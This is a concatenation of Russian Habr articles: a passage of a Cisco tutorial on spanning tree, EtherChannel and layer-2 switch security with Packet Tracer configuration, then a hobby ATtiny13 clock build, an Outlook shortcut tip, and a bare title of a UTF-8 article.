Порядок перечисления состояний не случаен: при включении (а также при втыкании нового провода), все порты на устройстве с STP проходят вышеприведенные состояния именно в таком порядке (за исключением disabled-портов). Возникает закономерный вопрос: а зачем такие сложности? А просто STP осторожничает. Ведь на другом конце провода, который только что воткнули в порт, может быть свич, а это потенциальная петля. Вот поэтому порт сначала 15 секунд (по умолчанию) пребывает в состоянии прослушивания — он смотрит BPDU, попадающие в него, выясняет свое положение в сети — как бы чего ни вышло, потом переходит к обучению еще на 15 секунд — пытается выяснить, какие mac-адреса “в ходу” на линке, и потом, убедившись, что ничего он не поломает, начинает уже свою работу. Итого, мы имеем целых 30 секунд простоя, прежде чем подключенное устройство сможет обмениваться информацией со своими соседями. Современные компы грузятся быстрее, чем за 30 секунд. Вот комп загрузился, уже рвется в сеть, истерит на тему “DHCP-сервер, сволочь, ты будешь айпишник выдавать, или нет?”, и, не получив искомого, обижается и уходит в себя, извлекая из своих недр айпишник [автонастройки.](http://ru.wikipedia.org/wiki/APIPA) Естественно, после таких экзерсисов, в сети его слушать никто не будет, ибо “не местный” со своим 169.254.x.x. Понятно, что все это не дело, но как этого избежать?
#### Portfast
Для таких случаев используется особый режим порта — portfast. При подключении устройства к такому порту, он, минуя промежуточные стадии, сразу переходит к forwarding-состоянию. Само собой, portfast следует включать только на интерфейсах, ведущих к конечным устройствам (рабочим станциям, серверам, телефонам и т.д.), но не к другим свичам.
> Есть очень удобная команда режима конфигурации интерфейса для включения нужных фич на порту, в который будут включаться конечные устройства: **switchport host**. Эта команда разом включает PortFast, переводит порт в режим access (аналогично switchport mode access), и отключает протокол PAgP (об этом протоколе подробнее в разделе агрегация каналов).
>
>
### Виды STP
STP довольно старый протокол, он создавался для работы в одном LAN-сегменте. А что делать, если мы хотим внедрить его в нашей сети, которая имеет несколько VLANов?
Стандарт 802.1Q, о котором мы упоминали в статье о [коммутации](http://habrahabr.ru/post/138043/), определяет, каким образом вланы передаются внутри транка. Кроме того, он определяет один процесс STP для всех вланов. BPDU по транкам передаются нетегированными (в native VLAN). Этот вариант STP известен как **CST** (Common Spanning Tree). Наличие только одного процесса для всех вланов очень облегчает работу по настройке и разгружает процессор свича, но, с другой стороны, CST имеет недостатки: избыточные линки между свичами блокируются во всех вланах, что не всегда приемлемо и не дает возможности использовать их для балансировки нагрузки.
Cisco имеет свой взгляд на STP, и свою проприетарную реализацию протокола — **PVST** (Per-VLAN Spanning Tree) — которая предназначена для работы в сети с несколькими VLAN. В PVST для каждого влана существует свой процесс STP, что позволяет независимую и гибкую настройку под потребности каждого влана, но самое главное, позволяет использовать балансировку нагрузки за счет того, что конкретный физический линк может быть заблокирован в одном влане, но работать в другом. Минусом этой реализации является, конечно, проприетарность: для функционирования PVST требуется проприетарный же ISL транк между свичами.
Также существует вторая версия этой реализации — **PVST+**, которая позволяет наладить связь между свичами с CST и PVST, и работает как с ISL- транком, так и с 802.1q. PVST+ это протокол по умолчанию на коммутаторах Cisco.
#### RSTP
Все, о чем мы говорили ранее в этой статье, относится к первой реализация протокола STP, которая была разработана в 1985 году Радией Перлман (ее стихотворение использовано в качестве эпиграфа). В 1990 году эта реализации была включена в стандарт IEEE 802.1D. Тогда время текло медленнее, и перестройка топологии STP, занимающая 30-50 секунд (!!!), всех устраивала. Но времена меняются, и через десять лет, в 2001 году, IEEE представляет новый стандарт **RSTP** (он же 802.1w, он же Rapid Spanning Tree Protocol, он же Быстрый STP). Чтобы структурировать предыдущий материал и посмотреть различия между обычным STP (802.1d) и RSTP (802.1w), соберем таблицу с основными фактами:
| | |
| --- | --- |
| **STP (802.1d)** | **RSTP (802.1w)** |
| В уже сложившейся топологии только корневой свич шлет BPDU, остальные ретранслируют | Все свичи шлют BPDU в соответствии с hello-таймером (2 секунды по умолчанию) |
| **Состояния портов** |
| — блокировка (blocking)
— прослушивание (listening)
— обучение (learning)
— перенаправление\пересылка (forwarding)
— отключен (disabled) | — отбрасывание (discarding), заменяет disabled, blocking и listening
— learning
— forwarding |
| **Роли портов** |
| — корневой (root), участвует в пересылке данных, ведет к корневому свичу
— назначенный (designated), тоже работает, ведет от корневого свича
— неназначенный (non-designated), не участвует в пересылке данных | — корневой (root), участвует в пересылке данных
— назначенный (designated), тоже работает
— дополнительный (alternate), не участвует в пересылке данных
— резервный (backup), тоже не участвует |
| **Механизмы работы** |
| Использует таймеры:
Hello (2 секунды)
Max Age (20 секунд)
Forward delay timer (15 секунд) | Использует процесс proposal and agreement (предложение и соглашение) |
| Свич, обнаруживший изменение топологии, извещает корневой свич, который, в свою очередь, требует от всех остальных очистить их записи о текущей топологии в течение forward delay timer | Обнаружение изменений в топологии влечет немедленную очистку записей |
| Если не-корневой свич не получает hello- пакеты от корневого в течение Max Age, он начинает новые выборы | Начинает действовать, если не получает BPDU в течение 3 hello-интервалов |
| Последовательное прохождение порта через состояния Blocking (20 сек) — Listening (15 сек) — Learning (15 сек) — Forwarding | Быстрый переход к Forwarding для p2p и Edge-портов |
Как мы видим, в RSTP остались такие роли портов, как корневой и назначенный, а роль заблокированного разделили на две новых роли: Alternate и Backup. Alternate — это резервный корневой порт, а backup — резервный назначенный порт. Как раз в этой концепции резервных портов и кроется одна из причин быстрого переключения в случае отказа. Это меняет поведение системы в целом: вместо реактивной (которая начинает искать решение проблемы только после того, как она случилась) система становится проактивной, заранее просчитывающей “пути отхода” еще до появления проблемы. Смысл простой: для того, чтобы в случае отказа основного переключится на резервный линк, RSTP не нужно заново просчитывать топологию, он просто переключится на запасной, заранее просчитанный.
Ранее, для того, чтобы убедиться, что порт может участвовать в передаче данных, требовались таймеры, т.е. свич пассивно ждал в течение означенного времени, слушая BPDU. Ключевой фичей RSTP стало введение концепции типов портов, основанных на режиме работы линка- full duplex или half duplex (типы портов p2p или shared, соответственно), а также понятия пограничный порт (тип edge p2p), для конечных устройств. Пограничные порты назначаются, как и раньше, командой spanning-tree portfast, и с ними все понятно- при включении провода сразу переходим к forwarding-состоянию и работаем. Shared-порты работают по старой схеме с прохождением через состояния BLK — LIS — LRN — FWD. А вот на p2p-портах RSTP использует процесс предложения и соглашения (proposal and agreement). Не вдаваясь в подробности, его можно описать так: свич справедливо считает, что если линк работает в режиме полного дуплекса, и он не обозначен, как пограничный, значит, на нем только два устройства- он и другой свич. Вместо того, чтобы ждать входящих BPDU, он сам пытается связаться со свичом на том конце провода с помощью специальных proposal BPDU, в которых, конечно, есть информация о стоимости маршрута к корневому свичу. Второй свич сравнивает полученную информацию со своей текущей, и принимает решение, о чем извещает первый свич посредством agreement BPDU. Так как весь этот процесс теперь не привязан к таймерам, происходит он очень быстро- только подключили новый свич- и он практически сразу вписался в общую топологию и приступил к работе (можете сами оценить скорость переключения в сравнении с обычным STP на видео). В Cisco-мире RSTP называется PVRST (Per-Vlan Rapid Spanning Tree).
#### MSTP
Чуть выше, мы упоминали о PVST, в котором для каждого влана существует свой процесс STP. Вланы это довольно удобный инструмент для многих целей, и поэтому, их может быть достаточно много даже в некрупной организации. И в случае PVST, для каждого будет рассчитываться своя топология, тратиться процессорное время и память свичей. А нужно ли нам рассчитывать STP для всех 500 вланов, когда единственное место, где он нам нужен- это резервный линк между двумя свичами? Тут нас выручает MSTP. В нем каждый влан не обязан иметь собственный процесс STP, их можно объединять. Вот у нас есть, например, 500 вланов, и мы хотим балансировать нагрузку так, чтобы половина из них работала по одному линку (второй при этом блокируется и стоит в резерве), а вторая- по другому. Это можно сделать с помощью обычного STP, назначив один корневой свич в диапазоне вланов 1-250, а другой- в диапазоне 250-500. Но процессы будут работать для каждого из пятисот вланов по отдельности (хотя действовать будут совершенно одинаково для каждой половины). Логично, что тут хватит и двух процессов. MSTP позволяет создавать столько процесов STP, сколько у нас логических топологий (в данном примере- 2), и распределять по ним вланы. Думаем, нет особого смысла углубляться в теорию и практику MSTP в рамках этой статьи (ибо теории там ого-го), интересующиеся могут пройти по [ссылке.](http://blog.ine.com/2010/02/22/understanding-mstp/)
Агрегация каналов
-----------------
Но какой бы вариант STP мы не использовали, у нас все равно существует так или иначе неработающий линк. А возможно ли задействовать параллельные линки по полной и при этом избежать петель? Да, отвечаем мы вместе с циской, начиная рассказ о EtherChannel.
Иначе это называется link aggregation, link bundling, NIC teaming, port trunkinkg
Технологии агрегации (объединения) каналов выполняют 2 функции: с одной стороны, это объединение пропускной способности нескольких физических линков, а с другой — обеспечение отказоустойчивости соединения (в случае падения одного линка нагрузка переносится на оставшиеся). Объединение линков можно выполнить как вручную (статическое агрегирование), так и с помощью специальных протоколов: LACP (Link Aggregation Control Protocol) и PAgP (Port Aggregation Protocol). LACP, опеределяемый стандартом IEEE 802.3ad, является открытым стандартом, то есть от вендора оборудования не зависит. Соответственно, PAgP — проприетарная цисковская разработка.
В один такой канал можно объединить до восьми портов. Алгоритм балансировки нагрузки основан на таких параметрах, как IP/MAC-адреса получателей и отправителей и порты. Поэтому в случае возникновения вопроса: “Хей, а чего так плохо балансируется?” в первую очередь смотрите на алгоритм балансировки.
Тема агрегации каналов заслуживает отдельной статьи, а то и книги, поэтому углубляться не будем, интересующимся- [ссылка.](http://xgu.ru/wiki/link_aggregation)
Port security
-------------
Теперь расскажем вкратце, как обеспечить безопасность сети на втором уровне OSI. В этой части статьи теория и практическая конфигурация совмещены. Увы, Packet Tracer не умеет ничего из упомянутых в этом разделе команд, поэтому все без иллюстраций и проверок.
Для начала, следует упомянуть команду конфигурации интерфейса **switchport port-security**, включающую защиту на определенном порту свича. Затем, с помощью **switchport port-security maximum 1** мы можем ограничить количество mac-адресов, связанных с данным портом (т.е., в нашем примере, на данном порту может работать только один mac-адрес). Теперь указываем, какой именно адрес разрешен: его можно задать вручную **switchport port-security mac-address *адрес***, или использовать волшебную команду **switchport port-security mac-address sticky**, закрепляющую за портом тот адрес, который в данный момент работает на порту. Далее, задаем поведение в случае нарушения правила **switchport port-security violation {shutdown | restrict | protect}**: порт либо отключается, и потом его нужно поднимать вручную (shutdown), либо отбрасывает пакеты с незарегистрированного мака и пишет об этом в консоль (restrict), либо просто отбрасывает пакеты (protect).
Помимо очевидной цели — ограничение числа устройств за портом — у этой команды есть другая, возможно, более важная: предотвращать атаки. Одна из возможных — истощение CAM-таблицы. С компьютера злодея рассылается огромное число кадров, возможно, широковещательных, с различными значениями в поле MAC-адрес отправителя. Первый же коммутатор на пути начинает их запоминать. Одну тысячу он запомнит, две, но память-то оперативная не резиновая, и среднее ограничение в 16000 записей будет довольно быстро достигнуто. При этом дальнейшее поведение коммутатора может быть различным. И самое опасное из них с точки зрения безопасности: коммутатор может начать все кадры, приходящие на него, рассылать, как широковещательные, потому что MAC-адрес получателя не известен (или уже забыт), а запомнить его уже просто некуда. В этом случае сетевая карта злодея будет получать все кадры, летающие в вашей сети.
### DHCP Snooping
Другая возможная атака нацелена на DHCP сервер. Как мы знаем, DHCP обеспечивает клиентские устройства всей нужной информацией для работы в сети: ip-адресом, маской подсети, адресом шюза по умолчанию, DNS-сервера и прочим. Атакующий может поднять собственный DHCP, который в ответ на запрос клиентского устройства будет отдавать в качестве шлюза по умолчанию (а также, например, DNS-сервера) адрес подконтрольной атакующему машины. Соответственно, весь трафик, направленный за пределы подсети обманутыми устройствами, будет доступен для изучения атакующему — типичная man-in-the-middle атака. Либо такой вариант: подлый мошенник генерируют кучу DHCP-запросов с поддельными MAC-адресами и DHCP-сервер на каждый такой запрос выдаёт IP-адрес до тех пор, пока не истощится пул.
Для того, чтобы защититься от подобного вида атак, используется фича под названием DHCP snooping. Идея совсем простая: указать свичу, на каком порту подключен настоящий DHCP-сервер, и разрешить DHCP-ответы только с этого порта, запретив для остальных. Включаем глобально командой **ip dhcp snooping**, потом говорим, в каких вланах должно работать **ip dhcp snooping vlan номер(а)**. Затем на конкретном порту говорим, что он может пренаправлять DHCP-ответы (такой порт называется доверенным): **ip dhcp snooping trust**.
### IP Source Guard
После включения DHCP Snooping’а, он начинает вести у себя базу соответствия MAC и IP-адресов устройств, которую обновляет и пополняет за счет прослушивания DHCP запросов и ответов. Эта база позволяет нам противостоять еще одному виду атак — подмене IP-адреса (IP Spoofing). При включенном IP Source Guard, каждый приходящий пакет может проверяться на:
* соответствие IP-адреса источника адресу, полученному из базы DHCP Snooping (иными словами, айпишник закрепляется за портом свича)
* соответствие MAC-адреса источника адресу, полученному из базы DHCP Snooping
Включается IP Source Guard командой **ip verify source** на нужном интерфейсе. В таком виде проверяется только привязка IP-адреса, чтобы добавить проверку MAC, используем **ip verify source port-security**. Само собой, для работы IP Source Guard требуется включенный DHCP snooping, а для контроля MAC-адресов должен быть включен port security.
### Dynamic ARP Inspection
Как мы уже знаем, для того, чтобы узнать MAC-адрес устройства по его IP-адресу, используется проткол ARP: посылается широковещательный запрос вида “у кого ip-адрес 172.16.1.15, ответьте 172.16.1.1”, устройство с айпишником 172.16.1.15 отвечает. Подобная схема уязвима для атаки, называемой ARP-poisoning aka ARP-spoofing: вместо настоящего хоста с адресом 172.16.1.15 отвечает хост злоумышленника, заставляя таким образом трафик, предназначенный для 172.16.1.15 следовать через него. Для предотвращения такого типа атак используется фича под названием Dynamic ARP Inspection. Схема работы похожа на схему DHCP-Snooping’а: порты делятся на доверенные и недоверенные, на недоверенных каждый ARP-ответ подвергаются анализу: сверяется информация, содержащаяся в этом пакете, с той, которой свич доверяет (либо статически заданные соответствия MAC-IP, либо информация из базы DHCP Snooping). Если не сходится- пакет отбрасывается и генерируется сообщение в syslog. Включаем в нужном влане (вланах): **ip arp inspection vlan номер(а)**. По умолчанию все порты недоверенные, для доверенных портов используем **ip arp inspection trust**.
Практика
--------
> Наверное, большинство ошибок в Packet Tracer допущено в части кода, отвечающего за симуляцию STP, будте готовы. В случае сомнения сохранитесь, закройте PT и откройте заново
>
>
Итак, переходим к практике. Для начала внесем некоторые изменения в топологию — добавим избыточные линки. Учитывая сказанное в самом начале, вполне логично было бы сделать это в московском офисе в районе серверов — там у нас свич msk-arbat-asw2 доступен только через asw1, что не есть гуд. Мы отбираем (пока, позже возместим эту потерю) гигабитный линк, который идет от msk-arbat-dsw1 к msk-arbat-asw3, и подключаем через него asw2. Asw3 пока подключаем в порт Fa0/2 dsw1. Перенастраиваем транки:
> msk-arbat-dsw1(config)#interface gi1/2
>
> msk-arbat-dsw1(config-if)#description msk-arbat-asw2
>
> msk-arbat-dsw1(config-if)#switchport trunk allowed vlan 2,3
>
> msk-arbat-dsw1(config-if)#int fa0/2
>
> msk-arbat-dsw1(config-if)#description msk-arbat-asw3
>
> msk-arbat-dsw1(config-if)#switchport mode trunk
>
> msk-arbat-dsw1(config-if)#switchport trunk allowed vlan 2,101-104
>
>
>
> msk-arbat-asw2(config)#int gi1/2
>
> msk-arbat-asw2(config-if)#description msk-arbat-dsw1
>
> msk-arbat-asw2(config-if)#switchport mode trunk
>
> msk-arbat-asw2(config-if)#switchport trunk allowed vlan 2,3
>
> msk-arbat-asw2(config-if)#no shutdown
>
>
>
>
Не забываем вносить все изменения в документацию!
[Скачать актуальную версию документа.](http://dl.dropbox.com/u/47476169/Habr/V4/Network_Planning_v4.xlsx)
Теперь посмотрим, как в данный момент у нас *самонастроился* STP. Нас интересует только VLAN0003, где у нас, судя по схеме, петля.
> msk-arbat-dsw1>en
>
> msk-arbat-dsw1#show spanning-tree vlan 3
>
>
Разбираем по полочкам вывод команды
Итак, какую информацию мы можем получить? Так как по умолчанию на современных цисках работает PVST+ (т.е. для каждого влана свой процесс STP), и у нас есть более одного влана, выводится информация по каждому влану в отдельности, каждая запись предваряется номером влана. Затем идет вид STP: ieee значит PVST, rstp — Rapid PVST, mstp то и значит. Затем идет секция с информацией о корневом свиче: установленный на нем приоритет, его mac-адрес, стоимость пути от текущего свича до корневого, порт, который был выбран в качестве корневого (имеет лучшую стоимость), а также настройки таймеров STP. Далее- секция с той же информацией о текущем свиче (с которого выполняли команду). Затем- таблица состояния портов, которая состоит из следующих колонок (слева направо):
* собственно, порт
* его роль (Root- корневой порт, Desg- назначенный порт, Altn- дополнительный, Back- резервный)
* его статус (FWD- работает, BLK- заблокирован, LIS- прослушивание, LRN- обучение)
* стоимость маршрута до корневого свича
* Port ID в формате: приоритет порта.номер порта
* тип соединения
Итак, мы видим, что Gi1/1 корневой порт, это дает некоторую вероятность того, что на другом конце линка корневой свич. Смотрим по схеме, куда ведет линк: ага, некий msk-arbat-asw1.
> msk-arbat-asw1#show spanning-tree vlan 3
>
>
И что же мы видим?
```
VLAN0003
Spanning tree enabled protocol ieee
Root ID Priority 32771
Address 0007.ECC4.09E2
This bridge is the root
Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
```
Вот он, наш корневой свич для VLAN0003.
А теперь посмотрим на схему. Ранее, мы увидели в состоянии портов, что dsw1 блокирует порт Gi1/2, разрывая таким образом петлю. Но является ли это оптимальным решением? Нет, конечно. Сейчас наша новая сеть работает точь-в-точь как старая- трафик от asw2 идет только через asw1. Выбор корневого маршрутизатора никогда не нужно оставлять на совесть глупого STP. Исходя из схемы, наиболее оптимальным будет выбор в качестве корневого свича dsw1- таким образом, STP заблокирует линк между asw1 и asw2. Теперь это все надо объяснить недалекому протоколу. А для него главное что? Bridge ID. И он неслучайно складывается из двух чисел. Приоритет- это как раз то слагаемое, которое отдано на откуп сетевому инженеру, чтобы он мог повлиять на результат выбора корневого свича. Итак, наша задача сводится к тому, чтобы уменьшить (меньше-лучше, думает STP) приоритет нужного свича, чтобы он стал Root Bridge. Есть два пути:
1) вручную установить приоритет, заведомо меньший, чем текущий:
> msk-arbat-dsw1>enable
>
> msk-arbat-dsw1#configure terminal
>
> msk-arbat-dsw1(config)#spanning-tree vlan 3 priority?
>
> <0-61440> bridge priority in increments of 4096
>
> msk-arbat-dsw1(config)#spanning-tree vlan 3 priority 4096
>
>
Теперь он стал корневым для влана 3, так как имеет меньший Bridge ID:
> msk-arbat-dsw1#show spanning-tree vlan 3
>
> VLAN0003
>
> Spanning tree enabled protocol ieee
>
> Root ID Priority 4099
>
> Address 000B.BE2E.392C
>
> This bridge is the root
>
> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
>
>
2) дать умной железке решить все за тебя:
> msk-arbat-dsw1(config)#spanning-tree vlan 3 root primary
>
>
Проверяем:
> msk-arbat-dsw1#show spanning-tree vlan 3
>
> VLAN0003
>
> Spanning tree enabled protocol ieee
>
> Root ID Priority 24579
>
> Address 000B.BE2E.392C
>
> This bridge is the root
>
> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
>
>
Мы видим, что железка поставила какой-то странный приоритет. Откуда взялась эта круглая цифра, спросите вы? А все просто- STP смотрит минимальный приоритет (т.е. тот, который у корневого свича), и уменьшает его на два шага инкремента (который составляет 4096, т.е. в итоге 8192). Почему на два? А чтобы была возможность на другом свиче дать команду spanning-tree vlan n root secondary (назначает приоритет=приоритет корневого-4096), что позволит нам быть уверенными, что, если с текущим корневым свичом что-то произойдет, его функции перейдут к этому, “запасному”. Вероятно, вы уже видите на схеме, как лампочка на линке между asw2 и asw1 пожелтела? Это STP разорвал петлю. Причем именно в том месте, в котором мы хотели. Sweet! Зайдем проверим: лампочка — это лампочка, а конфиг — это факт.
```
msk-arbat-asw2#show spanning-tree vlan 3
VLAN0003
Spanning tree enabled protocol ieee
Root ID Priority 24579
Address 000B.BE2E.392C
Cost 4
Port 26(GigabitEthernet1/2)
Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
Bridge ID Priority 32771 (priority 32768 sys-id-ext 3)
Address 000A.F385.D799
Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
Aging Time 20
Interface Role Sts Cost Prio.Nbr Type
---------------- ---- --- --------- -------- --------------------------------
Fa0/1 Desg FWD 19 128.1 P2p
Gi1/1 Altn BLK 4 128.25 P2p
Gi1/2 Root FWD 4 128.26 P2p
```
Теперь полюбуемся, как работает STP: заходим в командную строку на ноутбуке PTO1 и начинаем бесконечно пинговать наш почтовый сервер (172.16.0.4). Пинг сейчас идет по маршруту ноутбук-asw3-dsw1-gw1-dsw1(ну тут понятно, зачем он крюк делает — они из разных вланов)-asw2-сервер. А теперь поработаем Годзиллой из SimСity: нарушим связь между dsw1 и asw2, вырвав провод из порта (замечаем время, нужное для пересчета дерева).
Пинги пропадают, STP берется за дело, и за *каких-то* 30 секунд коннект восстанавливается. Годзиллу прогнали, пожары потушили, связь починили, втыкаем провод обратно. Пинги опять пропадают на 30 секунд! Мда-а-а, как-то не очень быстро, особенно если представить, что это происходит, например, в процессинговом центре какого-нибудь банка.
Но у нас есть ответ медленному PVST+! И ответ этот — Быстрый PVST+ (так и называется, это не шутка: Rapid-PVST). Посмотрим, что он нам дает. Меняем тип STP на всех свичах в москве командой конфигурационного режима: spanning-tree mode rapid-pvst
Снова запускаем пинг, вызываем Годзиллу… Эй, где пропавшие пинги? Их нет, это же Rapid-PVST. Как вы, наверное, помните из теоретической части, эта реализация STP, так сказать, “подстилает соломку” на случай падения основного линка, и переключается на дополнительный (alternate) порт очень быстро, что мы и наблюдали. Ладно, втыкаем провод обратно. Один потерянный пинг. Неплохо по сравнению с 6-8, да?
#### EtherChannel
Помните, мы отобрали у офисных работников их гигабитный линк и отдали его в пользу серверов? Сейчас они, бедняжки, сидят, на каких-то ста мегабитах, прошлый век! Попробуем расширить канал, и на помощь призовем EtherChannel. В данный момент у нас соединение идет от fa0/2 dsw1 на Gi1/1 asw3, отключаем провод. Смотрим, какие порты можем использовать на asw3: ага, fa0/20-24 свободны, кажется. Вот их и возьмем. Со стороны dsw1 пусть будут fa0/19-23. Соединяем порты для EtherChannel между собой. На asw3 у нас на интерфейсах что-то настроено, обычно в таких случаях используется команда конфигурационного режима default interface range fa0/20-24, сбрасывающая настройки порта (или портов, как в нашем случае) в дефолтные. Packet tracer, увы, не знает такой хорошей команды, поэтому в ручном режиме убираем каждую настройку, и тушим порты (лучше это сделать, во избежание проблем)
> msk-arbat-asw3(config)#interface range fa0/20-24
>
> msk-arbat-asw3(config-if-range)#no description
>
> msk-arbat-asw3(config-if-range)#no switchport access vlan
>
> msk-arbat-asw3(config-if-range)#no switchport mode
>
> msk-arbat-asw3(config-if-range)#shutdown
>
>
ну а теперь волшебная команда
> msk-arbat-asw3(config-if-range)#channel-group 1 mode on
>
>
то же самое на dsw1:
> msk-arbat-dsw1(config)#interface range fa0/19-23
>
> msk-arbat-dsw1(config-if-range)#channel-group 1 mode on
>
>
поднимаем интерфейсы asw3, и вуаля: вот он, наш EtherChannel, раскинулся аж на 5 физических линков. В конфиге он будет отражен как interface Port-channel 1. Настраиваем транк (повторить для dsw1):
> msk-arbat-asw3(config)#int port-channel 1
>
> msk-arbat-asw3(config-if)#switchport mode trunk
>
> msk-arbat-asw3(config-if)#switchport trunk allowed vlan 2,101-104
>
>
Как и с STP, есть некая трудность при работе с etherchannel в Packet Tracer’e. Настроить-то мы, в принципе, можем по вышеописанному сценарию, но вот проверка работоспособности под большим вопросом: после отключения одного из портов в группе, трафик перетекает на следующий, но как только вы вырубаете второй порт — связь теряется и не восстанавливается даже после включения портов.
Отчасти в силу только что озвученной причины, отчасти из-за ограниченности ресурсов мы не сможем раскрыть в полной мере эти вопросы и посему оставляем бОльшую часть на самоизучение.
### Материалы выпуска
[Новый план коммутации](http://dl.dropbox.com/u/47476169/Habr/V4/Network_Planning_v4.xlsx)
[Файл PT с лабораторной](http://dl.dropbox.com/u/47476169/Habr/V4/Lift-me-Up_v4.pkt).
[Конфигурация устройств](http://dl.dropbox.com/u/47476169/Habr/V4/Configuration.doc)
[STP](http://en.wikipedia.org/wiki/Spanning_Tree_Protocol) или [STP](http://xgu.ru/wiki/STP)
[Безопасность канального уровня](http://xgu.ru/wiki/l2security)
[Агрегация каналов](http://xgu.ru/wiki/link_aggregation)
По сложившейся традиции все неотвеченные вопросы безымянными читателями хабра задаются в блоге цикла в [ЖЖ](http://eucariot.livejournal.com/66249.html).
За видео и помощь в подготовке статьи спасибо [eucariot](http://habrahabr.ru/users/eucariot/) | https://habr.com/ru/post/143768/ | null | ru | null |
# Часы на ATtiny13
Я люблю светящиеся часы и, когда мне понадобились очередные, то быстро собрал их на макетке из ATtiny85, семи-сегментного индикатора TM1637 и часов реального времени DS1307. Однако при сборке меня не покидало ощущение, что можно обойтись более простым контроллером. И это оказалось действительно так.
> **Disclaimer**
>
>
>
> У автора нет инженерного образования и работа не связана с микроконтроллерами, потому наверняка всё так себе. К тому же оптимизации по энергопотреблению нет — у нас, ардуинщиков, она не принята!
>
>
#### Аппаратная часть
В первую очередь я изучил имеющиеся решения, и готовых примеров подключения двухпроводного DS1307 к ATtiny13 не нашел. Потому RTC был заменен на трехпроводной DS1302. Еще две ноги заняло подключение дисплея. На оставшейся пол-ноги Сброса разместилась кнопка установки времени при помощи [StackOverflow](https://electronics.stackexchange.com/questions/195146/use-the-reset-pin-on-attiny85-as-input-with-voltage-divider) и пары резисторов.
*Итоговое подключение элементов*
*Схема подключения (от [staticmain](https://habr.com/ru/users/staticmain/))*
По хорошему еще нужны резисторы на 4.7-10Ком от ног PB1 и PB2 микроконтроллера (верхние центральные) на плюс питания и конденсатор на 0.1мкФ между плюсом и минусом, но работает и без них.
#### Программная часть
Количество ног на ATtiny13 не единственная проблема. Доступной памяти также мало — всего 1Кб, в результате чего готовые библиотеки не подходят. Выход — использование пакета [MicroCore](https://github.com/MCUdude/MicroCore) и компактной библиотеки для [TM1637](https://github.com/lpodkalicki/attiny-tm1637-library). Для DS1302 ничего не нашлось, потому пришлось слепить самому на основе [вот этого](https://github.com/JanoVel/attiny_binary_watch) репозитария. Получившийся код часов доступен на [**GitHub**](https://github.com/little-brother/attiny13-clock).
#### Пошаговая инструкция для тех, кто захочет повторить
1. **Список деталей**
* Микроконтроллер ATtiny13
* Дисплей на TM1637
* Часы реального времени DS1302
* Кварц на 32768Гц
* Кнопка
* Пара резисторов на 1Ком и 10Ком
* Держатель 3-х вольтовой батареи
* Макетка и перемычки или печатная плата
Если брать на али-экспресс, то на всё уйдет порядка 100руб.
2. В качестве программатора — Arduino с залитым на нее скетчем ArduinoISP, поставляемом в примерах. Если вы, как и я, используете Arduino Nano и контакты 10-13 для подключения, то надо расскомментировать 81-ю строку
```
#define USE_OLD_STYLE_WIRING
```
После загрузки скетча между ножками земли и сброса Arduino надо поставить конденсатор на 10мФ, хотя у некоторых шьется и без него.
*Процесс прошивки ATtiny13 посредством слегка пыльной Arduino*
3. Чтобы Arduino IDE могла работать с ATtiny13 в папку %Program Files (x86)%/Arduino/hardware добавляется содержимое MicroCore. После чего в IDE в разделе Инструменты выбирается плата ATtiny13 с настройками: BOD disabled, LBO enabled, Clock 9.6 internal osc.
4. Исходники с Git уже содержат необходимые библиотеки для работы с ds1302 и TM1637, которые настроены для работы на пинах (см. заголовочные файлы библиотек), соответственно картинке подключения, поэтому достаточно скачать репозитарий и залить clock.ino на ATtiny13. Прошивка займет почти всё доступное место.
*Собранное устройство на макетной плате. Зелеными точками отмечено место установки ATtiny для прошивки (очень плохо видно оранжевый провод плюса питания).*
5. Из-за особенности подключения кнопки, неточных номиналов резисторов и питающего напряжения, возможно, потребуется изменить порог срабатывания у analogRead в clock.ino (26-я строка).
6. В планах было изготовление платы методом ЛУТ, но принтер в процессе сломался, потому проверка получившейся [**платы**](https://github.com/little-brother/attiny13-clock/blob/master/clock.lay6?raw=true) отложена на неопределенный срок до его починки.
#### Вместо заключения
Микросхема TM1637, управляющая семи-сегментным индикатором, имеет выводы на две кнопки, данные о состоянии которых может отдавать через интерфейс. Однако на модуле дисплея они не разведены, да и используемая библиотека их не поддерживает.
Можно было бы развести плату для большего индикатора, разместив микросхемы и микроконтроллер на одной печатной плате, но мне показалось, что в таком случае проще купить уже готовое. Хотя, по мне, из этого мог бы получиться неплохой радио-конструктор. | https://habr.com/ru/post/448764/ | null | ru | null |
# Маленький, но очень удобный хинт для MS Outlook
На работе каждый день, у кого установлен зверь по имени Microsoft Exchange Server, приходится запускать Outlook и смотреть что пришло нового и интересного. Как обычно, много хлама не по делу, демотиваторы и т.п. бред. Поэтому сворачиваешь окно и работаешь-работаешь ;)
Но, вот, требуется новое сообщение создать и движение стандартное: открыл программу, нажал кнопку, чтобы создать сообщение. И так по 50 раз на дню. На 20-й раз уже совсем не интересно туда-сюда вертеть клиента и любоваться анимацией windows 7. Хочется уже нажать на кнопку и получить окно для создания сообщения без открытия клиента.
В итоге решение было совсем простое, но безумно удобное:
Это просто ярлык, созданный в любой произвольной папке. В пути ярлыка пишем до боли всем (или почти всем) известное *mailto:* :) Папку добавляем как новую панель на панели инструментов рабочего стола. Скрываем у панели заголовок и подпись у ярлыка. Получаем то, что на скриншоте.
Чуть дальше подумав, вызвал свойство этого ярлыка и прописал ему быстрый вызов на любую мне удобную комбинацию:
Ещё чуть дальше подумав о том, что создавать-то нужно не только новое сообщение электронной почты, а запись в задачах, календаре, контактах, заметках и т.п., то пришлось конкретно напрячься. Выход из положения не заставил себя долго ждать. Впервые в жизни помог F1 :)
Собственно, там написано следущее:
`/c ipm.activity — создать запись в Дневнике;
/c ipm.appointment — создать встречу;
/c ipm.contact — создать контакт;
/c ipm.note — создать электронное сообщение;
/c ipm.stickynote — создать заметку;
/c ipm.task — создать задачу.`
Теперь применяем на практике. Опять новый ярлык, в пути прописываем, например:
*«C:\Program Files\Microsoft Office\Office12\OUTLOOK.EXE» /c ipm.appointment*
##### Office12, в данном случае, указывает на то, что установлена 2007-я версия офиса. Если 2003, то будет Office11
Надеюсь, пригодится кому-нибудь. Лично у меня на работе многие даже и не подозревали о таком простом способе создания нового сообщения :) | https://habr.com/ru/post/73771/ | null | ru | null |
# UTF-8: Кодирование и декодирование
